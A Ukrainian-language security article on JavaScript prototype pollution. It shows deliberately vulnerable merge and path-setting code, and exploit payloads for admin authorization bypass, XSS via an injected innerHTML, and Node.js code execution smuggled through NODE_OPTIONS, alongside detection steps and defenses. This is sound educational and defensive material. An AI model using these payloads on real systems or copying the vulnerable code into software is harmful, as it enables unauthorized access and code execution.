Research /
Prototype Pollution: отруєння прототипів JavaScript
Що таке Prototype Pollution
У JavaScript кожен об'єкт має прототип — батьківський об'єкт з якого він успадковує методи і властивості. Кореневим прототипом всіх об'єктів є Object.prototype.
const obj = {};
obj.__proto__ === Object.prototype; // true
obj.hasOwnProperty === Object.prototype.hasOwnProperty; // true
Prototype Pollution — вразливість при якій атакуючий може додати або змінити властивості Object.prototype, і це вплине на всі об'єкти в додатку.
Механізм вразливості
Вразливість виникає коли код рекурсивно копіює властивості об'єкта без перевірки ключів __proto__, constructor, prototype.
Вразливий merge
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
if (!target[key]) target[key] = {};
merge(target[key], source[key]); // рекурсія без перевірки key
} else {
target[key] = source[key];
}
}
return target;
}
// Атакуючий передає:
const malicious = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, malicious);
// Тепер:
const victim = {};
victim.isAdmin; // true — навіть без явного присвоєння!
Де виникає
Query string парсинг (qs бібліотека)
const qs = require('qs');
// URL: ?__proto__[isAdmin]=true
const parsed = qs.parse(req.query);
// Object.prototype.isAdmin === 'true'
JSON merge / deep clone
// Популярні вразливі патерни в lodash < 4.17.12
_.merge({}, JSON.parse(userInput));
_.defaultsDeep({}, JSON.parse(userInput));
JSON.parse з динамічним присвоєнням
function setPath(obj, path, value) {
const keys = path.split('.');
let cur = obj;
for (let i = 0; i < keys.length - 1; i++) {
cur = cur[keys[i]] = cur[keys[i]] || {};
}
cur[keys[keys.length - 1]] = value;
}
// Атака: path = "__proto__.isAdmin", value = true
setPath({}, "__proto__.isAdmin", true);
({}).isAdmin; // true
Exploit: обхід авторизації
// Вразливий код сервера
app.post('/merge-settings', (req, res) => {
merge(userSettings, req.body);
res.json({ ok: true });
});
// Перевірка прав
app.get('/admin', (req, res) => {
if (req.user.isAdmin) { // всі об'єкти тепер мають isAdmin!
res.send('Admin panel');
}
});
// Атака:
// POST /merge-settings
// {"__proto__": {"isAdmin": true}}
// Тепер GET /admin доступний будь-якому користувачу
Exploit: XSS через забруднення DOM
// Вразливий клієнтський код
function renderMessage(msg) {
const div = document.createElement('div');
Object.assign(div, msg); // merge властивостей
document.body.appendChild(div);
}
// Атака через URL параметр:
// ?__proto__[innerHTML]=<img src=x onerror=alert(1)>
const params = new URLSearchParams(location.search);
params.forEach((v, k) => {
setPath(config, k, v); // вразливий setPath
});
renderMessage({}); // innerHTML вже забруднений → XSS
Exploit: RCE в Node.js (child_process)
// Деякі модулі Node.js читають опції з об'єктів які успадковують прототип
const { execSync } = require('child_process');
// Після забруднення:
// {"__proto__": {"shell": "node", "NODE_OPTIONS": "--inspect=0.0.0.0:9229"}}
// Або більш прямолінійно через env:
// {"__proto__": {"env": {"NODE_OPTIONS": "-e require('child_process').execSync('id>/tmp/pwned')"}}}
// Деякі версії webpack/gulp виконують команди з прототипу
Виявлення
Ручне (Burp)
POST /api/settings HTTP/1.1
Content-Type: application/json
{"__proto__": {"testPolluted": "yes"}}
# Потім перевірити:
GET /api/debug
# або будь-який ендпоінт де є {}
# якщо бачимо "testPolluted": "yes" - є вразливість
Автоматичне
# nuclei
nuclei -u https://target.com -t vulnerabilities/generic/prototype-pollution.yaml
# ppmap — спеціалізований інструмент
node ppmap.js --target https://target.com
Захист
// 1. Object.freeze прототипу (ядерний варіант)
Object.freeze(Object.prototype);
// 2. Перевірка ключів при merge
function safeMerge(target, source) {
for (let key of Object.keys(source)) { // Object.keys, не for..in
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
continue; // пропустити небезпечні ключі
}
// ...
}
}
// 3. Використовувати Map замість plain object для користувацьких даних
const store = new Map(); // Map не має прототипу з Object.prototype
// 4. Object.create(null) — об'єкт без прототипу
const safeObj = Object.create(null);
// 5. Оновити lodash до 4.17.21+
// 6. JSON Schema валідація вхідних даних